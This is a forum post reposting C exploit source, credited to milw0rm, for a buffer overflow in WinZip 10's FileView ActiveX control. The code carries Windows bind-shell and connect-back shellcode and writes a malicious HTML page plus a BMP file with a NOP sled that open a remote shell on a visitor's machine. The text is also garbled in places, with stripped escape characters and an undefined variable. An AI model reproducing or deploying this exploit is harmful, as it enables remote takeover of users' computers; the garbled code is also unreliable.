Jump to content
zbeng

WinZip 10.0.7245 FileView ActiveX buffer overflow Expl

Recommended Posts

#include <stdio.h>

#include <stdlib.h>

#include <sys/types.h>

#include <sys/stat.h>

#include <fcntl.h>

#include <unistd.h>

#include <getopt.h>

#define NOPSIZE 999999

struct target {

char* name;

int retaddr;

};

struct shellcode {

char* name;

short port;

int host;

char* shellcode;

};

int targetno = 1;

struct target targets[] = {

{"WinXP SP2(en) WinZIP 10.0.6667",0x02DA3269}

/* IE 6.0.2900.2180.xp_sp2_gdr.050301-1519 WZ 10.0(6667)" */

};

int shellno = 2;

struct shellcode shellcodes[] = {

{"Win32 x86 bind() shellcode (4444/tcp default)",162,-1,

"x48x40xf5x49xd6x4axf9x91x47x96x2fxf8x9bx37x41xf5"

"x99x47xf9xf9xfcxf9x48x4ex4bx9bx90x9bxf5x97x40xf9"

"xd6x41xf9x48x9bx92xfdx9bx49x42x4fx9fx90xd6x27x9b"

"x93x46x2fx90xfdx4ax6ax51x59xd9xeexd9x74x24xf4x5b"

"x81x73x13xbcxe8x2bx27x83xebxfcxe2xf4x3dx2cx7fxd5"

"x43x17xd7x4dx57xa5xc3xdex43x17xd4x47x37x84x0fx03"

"x37xadx17xacxc0xedx53x26x53x63x64x3fx37xb7x0bx26"

"x57xa1xa0x13x37xe9xc5x16x7cx71x87xa3x7cx9cx2cxe6"

"x76xe5x2axe5x57x1cx10x73x98xc0x5exc2x37xb7x0fx26"

"x57x8exa0x2bxf7x63x74x3bxbdx03x28x0bx37x61x47x03"

"xa0x89xe8x16x67x8cxa0x64x8cx63x6bx2bx37x98x37x8a"

"x37xa8x23x79xd4x66x65x29x50xb8xd4xf1xdaxbbx4dx4f"

"x8fxdax43x50xcfxdax74x73x43x38x43xecx51x14x10x77"

"x43x3ex74xaex59x8exaaxcaxb4xeax7ex4dxbex17xfbx4f"

"x65xe1xdex8axebx17xfdx74xefxbbx78x74xffxbbx68x74"

"x43x38x4dx4fxadxb4x4dx74x35x09xbex4fx18xf2x5bxe0"

"xebx17xfdx4dxacxb9x7exd8x6cx80x8fx8ax92x01x7cxd8"

"x6axbbx7exd8x6cx80xcex6ex3axa1x7cxd8x6axb8x7fx73"

"xe9x17xfbxb4xd4x0fx52xe1xc5xbfxd4xf1xe9x17xfbx41"

"xd6x8cx4dx4fxdfx85xa2xc2xd6xb8x72x0ex70x61xccx4d"

"xf8x61xc9x16x7cx1bx81xd9xfexc5xd5x65x90x7bxa6x5d"

"x84x43x80x8cxd4x9axd5x94xaax17x5ex63x43x3ex70x70"

"xeexb9x7ax76xd6xe9x7ax76xe9xb9xd4xf7xd4x45xf2x22"

"x72xbbxd4xf1xd6x17xd4x10x43x38xa0x70x40x6bxefx43"

"x43x3ex79xd8x6cx80x55xffx5ex9bx78xd8x6ax17xfbx27"},

{"Win32 x86 connect() shellcode (4444/tcp default)",167,160,

"xfcx6axebx4dxe8xf9xffxffxffx60x8bx6cx24x24x8bx45"

"x3cx8bx7cx05x78x01xefx8bx4fx18x8bx5fx20x01xebx49"

"x8bx34x8bx01xeex31xc0x99xacx84xc0x74x07xc1xcax0d"

"x01xc2xebxf4x3bx54x24x28x75xe5x8bx5fx24x01xebx66"

"x8bx0cx4bx8bx5fx1cx01xebx03x2cx8bx89x6cx24x1cx61"

"xc3x31xdbx64x8bx43x30x8bx40x0cx8bx70x1cxadx8bx40"

"x08x5ex68x8ex4ex0execx50xffxd6x66x53x66x68x33x32"

"x68x77x73x32x5fx54xffxd0x68xcbxedxfcx3bx50xffxd6"

"x5fx89xe5x66x81xedx08x02x55x6ax02xffxd0x68xd9x09"

"xf5xadx57xffxd6x53x53x53x53x43x53x43x53xffxd0x68"

"x01x02x03x04x66x68x11x5cx66x53x89xe1x95x68xecxf9"

"xaax60x57xffxd6x6ax10x51x55xffxd0x66x6ax64x66x68"

"x63x6dx6ax50x59x29xccx89xe7x6ax44x89xe2x31xc0xf3"

"xaax95x89xfdxfex42x2dxfex42x2cx8dx7ax38xabxabxab"

"x68x72xfexb3x16xffx75x28xffxd6x5bx57x52x51x51x51"

"x6ax01x51x51x55x51xffxd0x68xadxd9x05xcex53xffxd6"

"x6axffxffx37xffxd0x68xe7x79xc6x79xffx75x04xffxd6"

"xffx77xfcxffxd0x68xf0x8ax04x5fx53xffxd6xffxd0"}

};

char html1[]="<HTML>rn<HEAD>rn<TITLE></TITLE>rn</HEAD>rn"

"<BODY>rn<SCRIPT LANGUAGE="VBScript">rnSub WZ"

"FILEVIEW_OnAfterItemAdd(Item)rnWZFILEVIEW.FilePa"

"ttern = ""; /* smash the stack here */

char html2[]=""rnend subrn</SCRIPT>rn%7Boption%7Drn<OBJECT ID="WZFILEV"

"IEW" WIDTH=200 HEIGHT=200rnCLASSID="CLSID:A09A"

"E68F-B14D-43ED-B713-BA413F034904">rn</OBJECT>r"

"n</BODY>rn</HTML>rn";

char bmphdr[]="x42x4dx3exbbx2dx00x00x00x00x00x36x00x00"

"x00x28x00x00x00xe7x03x00x00xe7x03x00x00"

"x01x00x18x00x00x00x00x00x08xbbx2dx00x00"

"x00x00x00x00x00x00x00x00x00x00x00x00x00"

"x00x00";

int ret;

void help(char* progname){

int count;

printf("[ Usage instructions.n[n");

printf("[ %s <required> (optional)n[n[ --filename|-f <file.html>n",progname);

printf("[ --imgname|-i <image.bmp>n[ --shellcode|-s <shell#>n");

printf("[ --shellport|-p (port)n");

printf("[ --shellhost|-i (ip)n");

printf("[ --target|-t <target#/0xretaddr>n[n");

printf("[ Target#'sn");

for(count = 0;count <= targetno - 1;count++){

printf("[ %d %s 0x%xn",count,targets[count],targets[count]);

}

printf("[n[ Shellcode#'sn");

for(count = 0;count <= shellno - 1;count++){

printf("[ %d "%s" (length %d bytes)n",count,shellcodes[count].name,strlen(shellcodes[count].shellcode));

}

exit(0);

}

void setret(char* retarg){

int value = atoi(retarg);

switch(value){

case 0:

printf("[ Using target '%s'n",targets[ret].name);

ret = targets[ret].retaddr;

break;

default:

ret = strtoul(retarg,NULL,16);

printf("[ Using return address '0x%x'n",ret);

break;

}

}

int main(int argc, char* argv[]){

unsigned long i, fd;

int c, index, payg, paya, lhost;

short shellport, shellport2;

int ishell = 0, itarg = 0;

char *buffer, *file, *img, *payload;

static struct option options[] = {

{"filename", 1, 0, 'f'},

{"imgname", 1, 0, 'i'},

{"target", 1, 0, 't'},

{"shellcode", 1, 0, 's'},

{"shellport", 1, 0, 'p'},

{"shellhost", 1, 0, 'd'},

{"help", 0, 0,'h'}

};

printf("[ WinZip <= 10.0.7245 FileView ActiveX overflow exploitn");

while(c != -1){

c = getopt_long(argc,argv,"f:i:t:s:p:D:h",options,&index);

switch©{

case 'f':

file = optarg;

break;

case 'i':

img = optarg;

break;

case 't':

itarg = 1;

setret(optarg);

if(strlen((char*)&ret) < 4){

fprintf(stderr,"[ Selected target contains a null address!n");

exit(-1);

}

break;

case 's':

if(ishell==0){

payg = atoi(optarg);

switch(payg){

case 0:

printf("[ Using shellcode '%s' (%d bytes)n",shellcodes[payg].name,strlen(shellcodes[payg].shellcode));

payload = malloc(strlen(shellcodes[payg].shellcode)+1);

memset(payload,0,strlen(shellcodes[payg].shellcode)+1);

memcpy((void*)payload,(void*)shellcodes[payg].shellcode,strlen(shellcodes[payg].shellcode));

shellport2 = 4444;

ishell = 1;

break;

case 1:

printf("[ Using shellcode '%s' (%d bytes)n",shellcodes[payg].name,strlen(shellcodes[payg].shellcode));

payload = malloc(strlen(shellcodes[payg].shellcode)+1);

memset(payload,0,strlen(shellcodes[payg].shellcode)+1);

memcpy((void*)payload,(void*)shellcodes[payg].shellcode,strlen(shellcodes[payg].shellcode));

shellport2 = 4444;

ishell = 1;

break;

default:

printf("[ Invalid shellcode selection %dn",payg);

exit(0);

break;

}

}

break;

case 'p':

if(ishell==1){

if(shellcodes[payg].port > -1){

paya = strlen(payload);

shellport = atoi(optarg);

shellport2 = shellport;

shellport =(shellport&0xff)<<8 | shellport>>8;

memcpy((void*)&payload[shellcodes[payg].port],&shellport,sizeof(shellport));

if(paya > strlen(payload)) {

printf("[ Error shellcode port introduces null bytesn");

exit(1);

}

printf("[ Shellcode port changed to '%u'n",atoi(optarg));

}

else{

printf("[ (%s) port selection is ignored for current shellcoden",optarg);

}

}

else{

printf("[ No shellcode selected yet, ignoring (%s) port selectionn",optarg);

}

break;

case 'd':

if(ishell==1){

if(shellcodes[payg].host > -1){

paya = strlen(payload);

lhost = inet_addr(optarg);

memcpy((void*)&payload[shellcodes[payg].host],&lhost,sizeof(lhost));

if(paya > strlen(payload)){

printf("[ Error shellhost introduces null bytesn");

exit(1);

}

printf("[ Shellhost has been changed to '%s'n",optarg);

}

else{

printf("[ (%s) shellhost selection is ignored for current shellcoden",optarg);

}

}

else {

printf("[ No shellcode selected yet, ignoring (%s) shellhost selectionn",optarg);

}

break;

case 'h':

help(argv[0]);

break;

default:

break;

}

}

if(ishell==0||itarg==0||strlen(file)==0||strlen(img)==0){

printf("[ Error insufficient arguements, try running '%s --help'n",argv[0]);

exit(0);

}

// create image

printf("[ Creating image containing shellcode '%s'n",img);

fd = open(img,O_RDWR|O_CREAT,S_IRWXU);

if(fd == -1){

fprintf(stderr,"[ Error creating %sn",file);

exit(-1);

}

write(fd,bmphdr,sizeof(bmphdr));

for(i = 0;i < NOPSIZE;i++){

write(fd,"x90",1);

}

write(fd,payload,strlen(payload));

close(fd);

// create html

printf("[ Creating html exploit page '%s'n",file);

fd = open(file,O_RDWR|O_CREAT,S_IRWXU);

if(fd == -1){

fprintf(stderr,"[ Error creating %sn",file);

exit(-1);

}

write(fd,html1,strlen(html1));

for(i = 0;i < 265;i++){

write(fd,"A",1);

}

write(fd,&ret,4);

for(i = 0;i < 1827;i++){

write(fd,"A",1);

}

write(fd,html2,strlen(html2));

write(fd,img,strlen(img));

write(fd,html3,strlen(html3));

close(fd);

}

// milw0rm.com [2006-11-15]

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...